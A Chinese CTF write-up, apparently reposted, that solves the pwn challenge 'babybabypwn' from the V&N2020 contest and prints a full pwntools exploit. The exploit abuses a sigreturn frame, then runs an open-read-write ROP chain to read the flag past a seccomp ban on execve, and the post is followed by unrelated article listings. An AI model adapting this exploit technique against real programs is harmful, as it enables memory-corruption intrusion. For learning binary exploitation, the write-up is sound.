[V&N2020 公开赛]babybabypwn

附件

步骤:

  1. 例行检查,64位程序,保护全开

  2. 本地试运行一下,看看程序的大概情况

  3. 64位ida载入,看一下main函数

  4. sub_1202()函数,沙盒的限制条件

  5. 用seccomp-tools看一下

    其他禁用的指令是干什么的我不是很清楚,但是禁用了execve(系统调用),也就没办法获取shell权限了,只能够想办法通过open–>read–>write的方式来获取flag的值了

  6. sub_1347()函数

  7. 一开始给我们泄露了puts函数的地址,接着读入参数buf,限制了长度,不存在溢出,之后进行系统调用syscall,syscall是一个间接系统调用函数
    间接系统调用号
    第一个参数可以是很多数,百度后得知,第一个参数是15的时候代表调用的是sigreturn,看网上师傅都说遇到sigreturn就用SROP

  8. 关于SROP可以看一下这篇文章,总结的很好
    借用一下里面的总结
    如下图所示,当内核向某个进程发起(deliver)一个signal,该进程会被暂时挂起(suspend),进入内核(1),然后内核为该进程保存相应的上下文,跳转到之前注册好的signal handler中处理相应signal(2),当signal handler返回之后(3),内核为该进程恢复之前保存的上下文,最后恢复进程的执行(4)

    在第二步的时候,内核会帮用户进程将其上下文保存在该进程的栈上,然后在栈顶填上一个地址rt_sigreturn,这个地址指向一段代码,在这段代码中会调用sigreturn系统调用。因此,当signal handler执行完之后,栈指针(stack pointer)就指向rt_sigreturn,所以,signal handler函数的最后一条ret指令会使得执行流跳转到这段sigreturn代码,被动地进行sigreturn系统调用。下图显示了栈上保存的用户进程上下文、signal相关信息,以及rt_sigreturn

    我们将这段内存称为一个Signal Frame
    在内核sigreturn系统调用处理函数中,会根据当前的栈指针指向的Signal Frame对进程上下文进行恢复,并返回用户态,从挂起点恢复执行。

  9. 其主要思路是利用信号处理函数结束时,内核在恢复进程上下文时,需要从栈上取Signal Frame来恢复寄存器,由于栈上内容是我们可以控制的,因此可以利用这个过程,人为的操作Signal Frame,进而达到操作寄存器的目的。

  10. 这道题我们可以看到,没有调用signal,,直接就调用了syscall(15)也就是sigreturn函数,我们之前输入的buf被当作各种寄存器参数依次出栈,这个buf充当的角色也就是上面所说的 Signal Frame ,buf的数据我们是可控的,也就是说我们可以按我们的意愿构造进程状态。
    我们就可以通过syscall(15)构造好Signal Frame,把程序流伪造为下一个要执行的函数是read,把我们精心构造的ROP写到某个地方,然后ret过去进行ROP,一般都是写在全局变量段bss段上

  11. 由于开启了PIE,所以我们不知道程序里的地址,但好在泄露了puts函数的地址,这样就可以知道libc版本,然后去计算程序里的函数的地址

    找一下libc里bss段的地址(这边有个坑,可能是因为我在buu平台上做的题,在这边下的libc_2.23这个libc版本里的函数地址和buu上的libc-2.23里的地址不一样,这题用buu上的libc地址可以打通)

    64位传参,用到了寄存器,先找一下设置寄存器值的指令
    ROPgadget --binary libc-2.23.so |grep “pop rdi”

    ROPgadget --binary libc-2.23.so |grep “pop rsi”

    ROPgadget --binary libc-2.23.so |grep “pop rdx”

    根据上述的信息,我们可以算出程序里的一些寄存器和bss段的实际地址了

r.recvuntil(': ')
puts_addr = int(r.recv(14), 16) libc = LibcSearcher('puts', puts_addr) libcbase = puts_addr - libc.dump('puts')
open_addr = libcbase + libc.dump('open')
read = libcbase + libc.dump('read')
write = libcbase + libc.dump('write')
bss = libcbase + 0x3c5720 + 0x400#往栈上压入数据是从下往上写的, 0x3c5720是bss段的起始地址,我们需要先抬高一下栈,不然往bss段里写东西的时候会覆盖掉其他段的值,可能会导致利用失败
pop_rdi = libcbase + 0x21102
pop_rsi = libcbase + 0x202e8
pop_rdx = libcbase + 0x1b92

在知道了上述的地址后,我们就可以利用pwntools直接来构造Signal Frame
记得在exp的开头加上context(os='linux', arch='amd64', log_level='debug')来设置一下pwntool是环境,不然没法直接利用pwntools来构造Signal Frame

frame = SigreturnFrame()
frame.rdi = 0
frame.rsi = bss
frame.rdx = 0x100
frame.rip = read
frame.rsp = bss
r.sendafter('Please input magic message:', str(frame)[8:])

简单说一下为什么要舍弃frame的前8位

通过查看汇编可以看到,下一次函数跳转的时候用到了var_8的值,var_8在栈上的位置


在栈上的前8字节,所以我们写入frame 的时候要舍弃掉前8位,避免破坏var_8的值,debug调试可以看到前8位是0x00,不影响

我们构造的Signal Frame实现的功能主要是调用read函数往bss段写入内容,然后跳转到bss段执行我们布置好的语句
我们现在要去bss段布置rop攻击的语句,由于禁用了execve,所以使用的open–>read–>write这样的方式读出flag

现在要找一下’flag’ 字符串的位置

它这个位置距离我们想要写入的bss段的地址是0x98,我们可以用bss+0x98来表示它(写exp的时候得到了bss段的实际地址输出看一下,每次启动的都不一样,但是他们的相对距离是固定的)

flag_addr = bss + 0x98
payload = p64(pop_rdi) + p64(flag_addr) + p64(pop_rsi) + p64(0) + p64(open_addr)
payload += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(bss) + p64(pop_rdx) + p64(0x100) + p64(read)
payload += p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(bss) + p64(pop_rdx) + p64(0x100) + p64(write)
payload += 'flag'

完整exp

from pwn import *
from LibcSearcher import * #local_libc = './libc-2.23.so'
#r = remote('node3.buuoj.cn', 28427)
r=process('./vn_pwn_babybabypwn_1')
elf = ELF('./vn_pwn_babybabypwn_1') context(os='linux', arch='amd64', log_level='debug') r.recvuntil(': ')
puts_addr = int(r.recv(14), 16) libc = LibcSearcher('puts', puts_addr) libcbase = puts_addr - libc.dump('puts')
open_addr = libcbase + libc.dump('open')
read = libcbase + libc.dump('read')
write = libcbase + libc.dump('write')
bss = libcbase + 0x00000000003c5720 + 0x400
pop_rdi = libcbase + 0x21102
pop_rsi = libcbase + 0x202e8
pop_rdx = libcbase + 0x1b92 frame = SigreturnFrame()
frame.rdi = 0
frame.rsi = bss
frame.rdx = 0x100
frame.rip = read
frame.rsp = bss
r.sendafter('Please input magic message:', str(frame)[8:])
print 'bss:'+hex(bss) flag_addr = bss + 0x98
#flag_addr=0x7ffff77d2f6a
payload = p64(pop_rdi) + p64(flag_addr) + p64(pop_rsi) + p64(0) + p64(open_addr)
payload += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(bss) + p64(pop_rdx) + p64(0x100) + p64(read)
payload += p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(bss) + p64(pop_rdx) + p64(0x100) + p64(write)
payload += 'flag\x00' #gdb.attach(r) r.send(payload) r.interactive()

[BUUCTF]PWN——[V&N2020 公开赛]babybabypwn的更多相关文章

  1. [BUUCTF]PWN——[V&N2020 公开赛]easyTHeap

    [V&N2020 公开赛]easyTHeap 附件 步骤: 例行检查,64位程序,保护全开 本地试运行一下,看看大概的情况,常见的堆的菜单 64位ida载入,main函数 最多只能申请7个ch ...

  2. [BUUCTF]PWN——[V&N2020 公开赛]simpleHeap

    [V&N2020 公开赛]simpleHeap 附件 步骤: 例行检查,64位,保护全开 根据题目可知是一道堆,直接用64位ida打开 我修改了这些函数的名称,这样方便看程序 add,我们可以 ...

  3. [BUUCTF]PWN——[V&N2020 公开赛]warmup

    [V&N2020 公开赛]warmup 附件 步骤: 例行检查,64位程序,除了canary,其他保护都开 本地运行一下,看看大概的情况 64位ida载入,从main函数开始看程序 看到程序将 ...

  4. [BUUCTF]REVERSE——[V&N2020 公开赛]CSRe

    [V&N2020 公开赛]CSRe 附件 步骤: 例行检查,无壳儿,但是有NET混淆,使用de4dot工具进行处理 之后用dnSpy打开,从入口点开始看程序 找到有关flag的信息 flag由 ...

  5. [BUUCTF]REVERSE——[V&N2020 公开赛]strangeCpp

    [V&N2020 公开赛]strangeCpp 附加 步骤 查壳,无壳,64位程序 64位ida载入,没有main函数,根据程序里的字符串,去查看函数 __int64 __fastcall s ...

  6. [V&N2020 公开赛]babybabypwn

    写在开头,感谢"影二つ"师傅的指点. 题目的做法思路网上一搜一大把,这篇博客主要记录一下这道题用pwntools写srop的时候,为什么需要省略前面8个字节. 在看题目之前,先来学 ...

  7. 【pwn】V&N2020 公开赛 simpleHeap

    [pwn]V&N2020 公开赛 simpleHeap 1.静态分析 首先libc版本是ubuntu16的2.23版本,可以去buu的资源处下载 然后checksec一下,保护全开 拖入IDA ...

  8. 刷题记录:[V&N2020 公开赛]TimeTravel

    题目复现链接:https://buuoj.cn/challenges 参考链接:2020 年 V&N 内部考核赛 WriteUp V&N公开赛2020 writeup httpoxy ...

  9. [V&N2020 公开赛] Web misc部分题解

    0x00 前言 写了一天题目,学到了好多东西, 简单记录一下 0x01 Web HappyCTFd 直接使用网上公开的cve打: 解题思路:先注册一个admin空格账号,注意这里的靶机无法访问外网,邮 ...

随机推荐

  1. 使用.NET5、Blazor和Electron.NET构建跨平台桌面应用

    Electron.NET是一个嵌入了ASP.NET Core的Electron的封装,通过Electron.NET可以构建基于.NET5的跨平台的桌面应用,使得开发人员只需要使用ASP.NET Cor ...

  2. BootStrap中模态框踩坑

    在模态框中使用html标签上的自定义属性来打开模态框后,在使用JS关闭模态框,就会出现多层蒙板问题 出现这个问题的原因就是没有仔细看bootstrap的官方文档,我人麻了,搞了好久 务必将模态框的 H ...

  3. FastAPI(六十三)实战开发《在线课程学习系统》梳理系统需要接口

    针对上一篇FastAPI(六十二)实战开发<在线课程学习系统>需求分析需求的功能,我们对需要的接口进行梳理,大概的规划出来现有的接口,作为我们第一版的接口的设计出版,然后我们根据设计的接口 ...

  4. dart系列之:在dart中使用数字和字符串

    目录 简介 数字 字符串 StringBuffer 总结 简介 要想熟悉一种语言,最简单的做法就是熟悉dart提供的各种核心库.dart为我们提供了包括dart:core,dart:async,dar ...

  5. 【Lua】实现代码执行覆盖率统计工具

    一.如何评估测试过程的测试情况? 很多时候完成功能测试后就会发布上线,甚至交叉和回归都没有足够的时间去执行,然后通过线上的补丁对遗漏的问题进行修复.如果可以在发布前了解本次测试过程所覆盖代码执行的比例 ...

  6. P7327 Dream and Discs

    题目传送门. 题意简述:有 \(n\) 个数 \(a_1,a_2,\cdots a_n\),等概率选取区间 \(P_1,S_1\subseteq [1,n]\),\(P_2\subseteq P_1\ ...

  7. 【Meta】16s rRNA和16s rDNA的区别

    在文章或宣传稿中经常看到两者滥用,实际上是不同的. 首先是各个字母的含义: 16S中的"S"是一个沉降系数,亦即反映生物大分子在离心场中向下沉降速度的一个指标,值越高,说明分子越大 ...

  8. c6和c7

    Centos6.x普遍采用 ext3\ext4(Fourth EXtended filesystem)文件系统格式, EXT3 支持的最大 16TB 文件系统和最大 2TB 文件 Ext4 分别支持1 ...

  9. 【Redis】Sentinel 哨兵模式

    Sentinel(哨兵模式) 目录 Sentinel(哨兵模式) 哨兵模式的三个定时任务 Sentinel(哨兵)与Sentinel .主服务器.从服务器之间的连接 检测下线状态 选择领头 Senti ...

  10. kubectl logs查看日志时出现failed to create fsnotify watcher: too many open files

    因为系统默认的 fs.inotify.max_user_instances=128 太小,在查看日志的pod所在节点重新设置此值: 临时设置 sudo sysctl fs.inotify.max_us ...